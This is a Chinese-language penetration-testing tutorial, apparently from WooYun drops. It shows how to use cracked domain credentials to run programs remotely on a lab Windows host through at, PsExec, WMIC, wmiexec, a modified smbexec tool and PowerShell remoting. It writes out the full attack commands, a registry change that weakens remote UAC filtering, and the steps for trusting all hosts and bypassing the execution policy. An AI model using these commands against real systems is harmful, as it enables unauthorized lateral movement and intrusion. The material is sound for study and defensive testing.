010-在远程系统上执行程序的技术整理

# 在远程系统上执行程序的技术整理

0x00 前言
=======

* * *

上一篇学习了如何导出域内所有用户hash,那么,接下来准备用破解出的用户名口令尝试远程登陆目标主机并执行程序,结合实际环境做了如下测试.

0x01 目标
=======

* * *

远程登陆目标主机执行测试程序

0x02 测试环境
=========

* * *

远程主机:

“`
ip:192.168.40.137
用户名:test
口令:testtest
操作系统:win7 x64

“`

远程登陆方式:

“`
net use远程登陆,不使用3389

“`

**_Tips:_**

解决工作组环境无法远程登陆执行程序的方法:

> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1

0x03 测试方法
=========

* * *

1、at&schtasks
————-

计划任务方式执行程序。

条件:

“`
启动Task Scheduler服务

“`

2、psexec
——–

PsTools工具之一,在指定的一台或多台计算机上运行应用程序

条件:

“`
需要开放ADMIN$共享

“`

3、WMIC
——

功能强大,可做系统管理、远程主机信息获取

条件:

“`
启动WMI服务,开放135端口
本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”

“`

4、wmiexec
———

使用VBS脚本调用WMI来模拟psexec的功能,基本上psexec能用的地方,这个脚本也能够使用。

条件:

“`
启动WMI服务,开放135端口
本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”

“`

0x04 实际测试
=========

* * *

使用用户名口令远程登陆192.168.40.137,如图1

![这里写图片描述](http://drops.javaweb.org/uploads/images/6a5a7f56f75837d64db385486dfed1fdc6381756.jpg)

查看目标主机共享资源,如图1-2

![这里写图片描述](http://drops.javaweb.org/uploads/images/41e946ee359041e26a4eb068c03b44488f1ea022.jpg)

1、at&schtasks
————-

“`
at \\192.168.40.137

“`

找不到网络路径,判断是目标主机已禁用Task Scheduler服务

如图2

![这里写图片描述](http://drops.javaweb.org/uploads/images/34d0086097a064a3e272896139371baebdfd7bac.jpg)

2、psexec
——–

“`
PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe

“`

找不到网络名,判断目标主机已禁用ADMIN$共享

如图3

![这里写图片描述](http://drops.javaweb.org/uploads/images/0df42beff40e74b921e90c2795b72965627f89ae.jpg)

3、WMIC
——

“`
wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe

“`

Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

如图4

![这里写图片描述](http://drops.javaweb.org/uploads/images/da55a24209809f5e676e83159d319b0a150e7249.jpg)

4、wmiexec
———

“`
cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest “ipconfig”

“`

WMIEXEC ERROR: 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

如图5

![这里写图片描述](http://drops.javaweb.org/uploads/images/eab81e7c5da8f5c501596bfffd1ea07e47254055.jpg)

0x05 分析
=======

* * *

整理下目前掌握的目标主机信息:

目标主机:

“`
1、已获得登陆用户名及口令
2、可以net use连接
3、开放共享C

“`

但是:

“`
1、默认admin$共享关闭,无法使用psexec
2、Task scheduler关闭,无法使用at、schtasks
3、Windows Management Instrumentation服务关闭,关闭135端口无法使用wmic、wmiexec
4、不支持3389

“`

**那么,如何在目标主机远程执行程序?**

猜测管理员应该是对常用的远程执行程序的方法做了限制,就在一筹莫展的时候突然想到了`smbexec`,它是基于`psexec`,如果目标主机开放了其他默认共享,倒是可以尝试`smbexec`

于是搜索`smbexec`,终于在GitHub上面找到了一个`smbexec`的c++参考资料,作为工具改进模版

_模版下载地址:_

[https://github.com/sunorr/smbexec](https://github.com/sunorr/smbexec)

0x06 改进方案
=========

* * *

模版中的bug不细讲,最终我成功用vc6实现了`psexec`的功能,同时也做了一些改进:

1、可指定默认共享名
———-

为了完成上述测试,加入了参数来指定默认共享,如果`ADMIN$`共享关闭,那么可以尝试其他磁盘的默认共享

2、分离安装服务的功能
———–

在实际测试过程中,如果`ADMIN$`共享关闭,`c$`共享开启,因为UAC的缘故,注册安装服务的功能会出现bug,采取的解决办法为将实现注册安装服务功能的exe单独上传至`c:\windows`下, 即可解决权限不够的问题

0x07 方案测试
=========

* * *

### 1、工具说明

**文件说明:**

“`
test.exe:主程序
execserver.exe:实现注册安装服务的辅助程序

“`

**参数说明:**

“`
test.exe ip user password command netshare

“`

eg:

“`
test.exe 192.168.40.137 test testtest whoami c$

“`

2、使用流程
——

(1)上传execserver.exe至c:\windows

“`
copy execserver.exe \\192.168.40.137\c$\windows

“`

(2)远程执行

“`
test.exe 192.168.40.137 test testtest whoami c$

“`

如图6

![这里写图片描述](http://drops.javaweb.org/uploads/images/5f30a6fb15e4e6d6ff739067ec8d2062e16ff5ac.jpg)

**最终我们通过改造的smbexec,突破目标主机限制,成功远程执行程序。**

_程序源码下载链接:_

[smbexec_source.zip](http://static.wooyun.org//drops/20150724/2015072404442894558smbexec_source.zip)

0x08 补充
=======

* * *

1、powershell remoting
———————

实现在目标主机远程执行程序后,可对目标主机开放powershell remoting,用作远程连接

条件:

“`
远程连接会有痕迹
本机要开启winRM服务

“`

命令汇总:

列出所有远程信任主机

“`
powershell Get-Item WSMan:\localhost\Client\TrustedHosts

“`

设置信任所有主机

“`
powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force

“`

设置允许运行ps1文件

“`
powershell Set-ExecutionPolicy Unrestricted

“`

执行test.ps1文件

“`
powershell -ExecutionPolicy Bypass -File test.ps1

“`

ps1文件如下:

“`
$UserName = “test”
$serverpass = “testtest” $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)
invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }

“`

2、python smbexec
—————-

随后用python写的smbexec也实现了相同的功能,但py2exe的时候遇到了大麻烦,如果有更简单的方法, 希望能得到你的帮助。

0x09 小结
=======

* * *

这篇文章共列举了六种远程执行程序的方法,如果已经成功登陆目标主机,却无法执行程序,最心塞的事情莫过于此。

“`
at
psexec
WMIC
wmiexec
smbexec
powershell remoting

“`

获得用户名口令,实现远程执行程序仅仅是个开始,内网渗透会很有趣。

水平有限,欢迎补充。

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容